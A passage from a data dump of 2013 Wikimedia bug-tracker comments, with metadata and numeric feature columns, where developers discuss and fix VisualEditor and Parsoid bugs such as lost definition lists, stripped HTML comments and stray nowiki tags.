**Attached**: {F11451}",,,1372172066,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,22.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,7.0,0.0,3.0,0.0,3.0,11.0,14.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3972602739726026,0.6164383561643836,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Looking into this, it seems like we can use class=""editnotice-redlink"" to select and suppress these (including reducing the count by one). Handing to Timo to implement.

**Attached**: {F11451}"
243153,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #0)
> Created attachment 12619 [details]
> Screenshot
> 
> See screenshot. What am I meant to be paying attention to?

That enwiki's community, in its wisdom, wants you to see that you can add a page notice to every page, because you're +sysop. It doesn't appear for non-sysops. If they want to commit to adding a class to it that we suppress and reduce the count by one, we're happy to do that.

**Attached**: {F11451}",,,1372036133,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,2,True,,,-1,,1.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,3.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,4.0,1.0,6.0,0.0,0.0,0.0,1.0,7.0,0.0,2.0,0.0,10.0,16.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.117021276595745,0.6914893617021277,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

That enwiki's community, in its wisdom, wants you to see that you can add a page notice to every page, because you're +sysop. It doesn't appear for non-sysops. If they want to commit to adding a class to it that we suppress and reduce the count by one, we're happy to do that.

**Attached**: {F11451}"
52076,VisualEditor: Deletion into a DL from a block slug breaks,"Click after the line ""Saptaitey Chiranjeevinaha[citation needed]"" on https://en.wikipedia.org/wiki/Chiranjivi and BANG! And the text is gone.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372035720,1374186072.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,21.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.102564102564102,0.717948717948718,"Click after the line ""Saptaitey Chiranjeevinaha[citation needed]"" on URL and BANG! And the text is gone.

--------------------------
**Version**: unspecified
**Severity**: major"
243108,VisualEditor: Deletion into a DL from a block slug breaks,Fixed and will go out in an hour.,,,1374186072,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,1.0,Fixed and will go out in an hour.
243102,VisualEditor: Deletion into a DL from a block slug breaks,"Change 73952 merged by jenkins-bot:
Handle backspace correctly when in a slugs

https://gerrit.wikimedia.org/r/73952",,,1374186006,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"Change 73952 merged by jenkins-bot:
Handle backspace correctly when in a slugs

GERRIT_URL"
243097,VisualEditor: Deletion into a DL from a block slug breaks,"Change 73952 had a related patch set uploaded by Esanders:
Handle backspace correctly when in a root slug

https://gerrit.wikimedia.org/r/73952",,,1373975739,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,4.590909090909091,0.9545454545454546,"Change 73952 had a related patch set uploaded by Esanders:
Handle backspace correctly when in a root slug

GERRIT_URL"
243094,VisualEditor: Deletion into a DL from a block slug breaks,"(In reply to comment #4)
> Yes; you need to backspace over the DL from the block slug underneath it to
> trigger.
Yeah, that breaks it. For some reason handleDelete() tries to process *two* transactions: one successfully removes the entire <dl>, and the second tries to reinsert part of it but in the middle of a paragraph, presumably because it computed the wrong offset somehow (failing to adjust for the first transaction, maybe)?",,,1373658227,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,1.0,3.0,10.0,0.0,0.0,0.0,1.0,5.0,0.0,5.0,0.0,5.0,14.0,3.0,1.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,4.0,3.8227848101265822,0.7215189873417721,"(In reply to comment #4)
QUOTE
QUOTE
Yeah, that breaks it. For some reason handleDelete() tries to process *two* transactions: one successfully removes the entire <dl>, and the second tries to reinsert part of it but in the middle of a paragraph, presumably because it computed the wrong offset somehow (failing to adjust for the first transaction, maybe)?"
243092,VisualEditor: Deletion into a DL from a block slug breaks,Yes; you need to backspace over the DL from the block slug underneath it to trigger.,,,1373502736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,11.0,28.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.8888888888888888,Yes; you need to backspace over the DL from the block slug underneath it to trigger.
243089,VisualEditor: Deletion into a DL from a block slug breaks,"I can't reproduce this any more, can anyone else?",,,1373500564,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,1,,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.4166666666666665,1.0,"I can't reproduce this any more, can anyone else?"
243085,VisualEditor: Deletion into a DL from a block slug breaks,"DefinitionListNode shouldn't have getAnnotatedHtml, it's not inside a content branch. Did we screw up the DM such that a definition list ended up inside a paragraph?",,,1373499822,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,16.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,6.0,16.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.516129032258065,0.8709677419354839,"DefinitionListNode shouldn't have getAnnotatedHtml, it's not inside a content branch. Did we screw up the DM such that a definition list ended up inside a paragraph?"
243079,VisualEditor: Deletion into a DL from a block slug breaks,"Yuck. Thrown error is:

  Uncaught TypeError: Object #<VeCeDefinitionListNode> has no method 'getAnnotatedHtml' 

Sounds like we didn't update the CE nodes for DLs.",,,1373163018,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jhlgapomh7x5pp3mfeq,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,26.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,15.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.235294117647059,0.9117647058823529,"Yuck. Thrown error is:

  Uncaught TypeError: Object #<VeCeDefinitionListNode> has no method 'getAnnotatedHtml' 

Sounds like we didn't update the CE nodes for DLs."
52071,VisualEditor: HTML comments being removed inside references,"See https://en.wikipedia.org/w/index.php?title=Beautiful_%28Mariah_Carey_song%29&diff=561243294&oldid=561242578

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372034760,1372210324.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.55,"See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
242823,VisualEditor: HTML comments being removed inside references,Fixed and will be going out today.,,,1372210324,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.5,1.0,Fixed and will be going out today.
242819,VisualEditor: HTML comments being removed inside references,Related URL: https://gerrit.wikimedia.org/r/70469 (Gerrit Change I5a844e2e0655bc1db152b3805718324ca0bb04df),,,1372189640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5a844e2e0655bc1db152b3805718324ca0bb04df)
242814,VisualEditor: HTML comments being removed inside references,*** Bug 50102 has been marked as a duplicate of this bug. ***,,,1372113547,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50102 has been marked as a duplicate of this bug. ***
242808,VisualEditor: HTML comments being removed inside references,"s/templates/references/ gah, sorry",,,1372108420,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.875,"s/templates/references/ gah, sorry"
242802,VisualEditor: HTML comments being removed inside references,Now appearing outside of templates; https://en.wikipedia.org/w/index.php?title=Lichens_%28musician%29&curid=16561703&diff=561390034&oldid=556766679,,,1372097824,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.857142857142857,1.0,Now appearing outside of templates; URL
242796,VisualEditor: HTML comments being removed inside references,"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?",,,1372036818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3jo2lfnt7epz4x6sikv,task_subcomment,,True,c1,2,True,,,-1,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,11.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6842105263157894,1.0,"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?"
52070,VisualEditor: Nowiki-ing inside templates' parameters,"See https://en.wikipedia.org/w/index.php?title=Riddler&diff=561149660&oldid=561096940

The user reports they were nowhere near the infobox.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50147
https://bugzilla.wikimedia.org/show_bug.cgi?id=50129",High,80.0,1372034400,1372218685.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-67esakdk26er4uxasrc3,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.372093023255814,0.5116279069767442,"See URL

The user reports they were nowhere near the infobox.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
242762,VisualEditor: Nowiki-ing inside templates' parameters,This is now fixed and pushed live; sorry for the failure.,,,1372218685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,1.0,This is now fixed and pushed live; sorry for the failure.
242755,VisualEditor: Nowiki-ing inside templates' parameters,*** Bug 50129 has been marked as a duplicate of this bug. ***,,,1372127871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50129 has been marked as a duplicate of this bug. ***
242748,VisualEditor: Nowiki-ing inside templates' parameters,Bug 50147 is the underlying problem in Parsoid; this bug is for fixing the dirty-DOMing that makes Parsoid trigger on the templates.,,,1372125589,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.269230769230769,0.8461538461538461,Bug 50147 is the underlying problem in Parsoid; this bug is for fixing the dirty-DOMing that makes Parsoid trigger on the templates.
242740,VisualEditor: Nowiki-ing inside templates' parameters,"Other examples of nowiki insertion:

http://en.wikipedia.org/w/index.php?title=Glenn_Greenwald&diff=561437483&oldid=561434741

https://en.wikipedia.org/w/index.php?title=Schuylar_Oordt&diff=561438828&oldid=561406705",,,1372122627,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,0.8,"Other examples of nowiki insertion:

URL

URL"
242732,VisualEditor: Nowiki-ing inside templates' parameters,"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?",,,1372036412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-67esakdk26er4uxasrc3,task_subcomment,,True,c1,2,True,,,-1,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,11.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6842105263157894,1.0,"Roan, can you tell how we're dirtying the DOM such that Parsoid changes these at all?"
52068,Parsoid: selser drops last three apostrophes in '''''foo''''',"See https://en.wikipedia.org/w/index.php?title=Port_of_Hull&diff=561131671&oldid=561056099 - an attempt to enter a dash led to bolding vanishing. Not sure what's going on there.

--------------------------
**Version**: unspecified
